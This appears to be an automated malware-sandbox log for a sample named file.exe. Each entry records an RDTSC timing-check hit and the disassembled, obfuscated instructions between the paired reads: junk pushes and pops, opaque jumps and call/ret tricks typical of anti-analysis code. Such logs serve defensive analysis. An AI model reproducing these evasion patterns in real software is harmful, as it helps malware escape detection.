Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2F24 second address: 8B2F2E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2F2E second address: 8B2F33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B209D second address: 8B20A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B728B second address: 8B7290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8411 second address: 8B8415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B91DD second address: 8B9255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7A98DDD9E6h 0x0000000a popad 0x0000000b nop 0x0000000c jp 00007F7A98DDD9D6h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F7A98DDD9D8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e cmc 0x0000002f cmc 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F7A98DDD9D8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c mov ebx, eax 0x0000004e add dword ptr [ebp+122D1EFCh], edx 0x00000054 xchg eax, esi 0x00000055 jo 00007F7A98DDD9E0h 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9255 second address: 8B926E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jg 00007F7A9876E32Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB164 second address: 8BB176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866E6F second address: 866E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C328B second address: 8C32B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F7A98DDD9D6h 0x00000013 jno 00007F7A98DDD9D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4CB0 second address: 8C4CCD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F7A9876E32Eh 0x00000010 pop edi 0x00000011 push esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4CCD second address: 8C4CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CDED second address: 85CE22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7A9876E326h 0x0000000a jmp 00007F7A9876E334h 0x0000000f popad 0x00000010 jmp 00007F7A9876E336h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE22 second address: 85CE27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE27 second address: 85CE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7A9876E326h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F7A9876E334h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F7A9876E32Ch 0x00000024 jnp 00007F7A9876E326h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE68 second address: 85CE7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DDh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE7D second address: 85CE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8B16 second address: 8C8B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8B27 second address: 8C8B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8B2C second address: 8C8BA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A98DDD9E9h 0x00000008 jmp 00007F7A98DDD9DBh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jns 00007F7A98DDD9EBh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d jmp 00007F7A98DDD9DEh 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F7A98DDD9E8h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8BA0 second address: 8C8BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8C2A second address: 8C8C72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F7A98DDD9E7h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 ja 00007F7A98DDD9D8h 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8C72 second address: 8C8C78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8C78 second address: 8C8C7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8D90 second address: 8C8D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8D9E second address: 8C8DA4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8DA4 second address: 8C8DCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E335h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F7A9876E326h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF618 second address: 8CF61C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFBAC second address: 8CFBC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E333h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFBC9 second address: 8CFBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFBCD second address: 8CFBD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFBD1 second address: 8CFBD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD50 second address: 8CFD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7A9876E32Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A9876E32Eh 0x00000011 jno 00007F7A9876E326h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFEAC second address: 8CFEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFEB2 second address: 8CFEB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFEB6 second address: 8CFEBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFEBA second address: 8CFEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D049B second address: 8D04A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D04A1 second address: 8D04A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D04A5 second address: 8D04B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7A98DDD9DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D04B7 second address: 8D04FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F7A9876E326h 0x0000000b jmp 00007F7A9876E332h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jns 00007F7A9876E32Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7A9876E337h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D04FF second address: 8D050F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A98DDD9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D066D second address: 8D0671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0671 second address: 8D0685 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7A98DDD9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jc 00007F7A98DDD9FCh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0685 second address: 8D068B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D068B second address: 8D069A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7A98DDD9D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D069A second address: 8D069E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D081F second address: 8D0828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0828 second address: 8D0840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A9876E334h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0840 second address: 8D0876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7A98DDD9DCh 0x00000010 jmp 00007F7A98DDD9DBh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6477 second address: 8D647D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D647D second address: 8D6483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D510E second address: 8D5119 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F7A9876E326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5119 second address: 8D5126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007F7A98DDD9DEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D540B second address: 8D5411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D578A second address: 8D578E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6166 second address: 8D6186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F7A9876E337h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D6186 second address: 8D618A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D618A second address: 8D618E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DEB37 second address: 8DEB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7A98DDD9E8h 0x0000000a jmp 00007F7A98DDD9E0h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F7A98DDD9D6h 0x00000019 jmp 00007F7A98DDD9DDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DECD3 second address: 8DECD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DECD7 second address: 8DECDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF160 second address: 8DF164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF164 second address: 8DF19A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A98DDD9DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jne 00007F7A98DDD9EDh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF418 second address: 8DF42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F7A9876E326h 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF593 second address: 8DF5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A98DDD9E7h 0x00000009 popad 0x0000000a jmp 00007F7A98DDD9DAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF5B9 second address: 8DF606 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A9876E328h 0x00000008 jnl 00007F7A9876E336h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7A9876E330h 0x00000017 jmp 00007F7A9876E339h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF78D second address: 8DF791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF791 second address: 8DF7A1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7A9876E326h 0x00000008 jp 00007F7A9876E326h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFD09 second address: 8DFD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE541 second address: 8DE54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E39ED second address: 8E3A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A98DDD9E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A74F5 second address: 8A74F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A74F9 second address: 882D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F7A98DDD9D8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov cl, B7h 0x00000024 lea eax, dword ptr [ebp+12479222h] 0x0000002a sub dword ptr [ebp+122D1EC5h], eax 0x00000030 push eax 0x00000031 jmp 00007F7A98DDD9E4h 0x00000036 mov dword ptr [esp], eax 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F7A98DDD9D8h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 mov ecx, dword ptr [ebp+122D2B8Dh] 0x00000059 push edi 0x0000005a mov edx, 105B405Eh 0x0000005f pop edi 0x00000060 call dword ptr [ebp+1243ACB7h] 0x00000066 push esi 0x00000067 js 00007F7A98DDD9DCh 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7ADD second address: 8A7AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7AE3 second address: 8A7AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7AE7 second address: 8A7B22 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7A9876E326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e jmp 00007F7A9876E330h 0x00000013 pop esi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007F7A9876E332h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7B22 second address: 8A7B93 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7A98DDD9D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F7A98DDD9DEh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jmp 00007F7A98DDD9E3h 0x0000001c pop eax 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007F7A98DDD9D8h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 mov ecx, dword ptr [ebp+122D2A5Dh] 0x0000003d sbb cl, 0000006Fh 0x00000040 push D99954CAh 0x00000045 jnl 00007F7A98DDD9E2h 0x0000004b ja 00007F7A98DDD9DCh 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7C35 second address: 8A7C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jne 00007F7A9876E326h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7C43 second address: 8A7C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jo 00007F7A98DDD9E4h 0x0000000d pushad 0x0000000e jl 00007F7A98DDD9D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7D0C second address: 8A7D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7D10 second address: 8A7D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7D16 second address: 8A7D38 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 mov ecx, 02E1AC18h 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jmp 00007F7A9876E32Fh 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7F6E second address: 8A7F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7F74 second address: 8A7F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A9876E32Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A80EE second address: 8A80F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
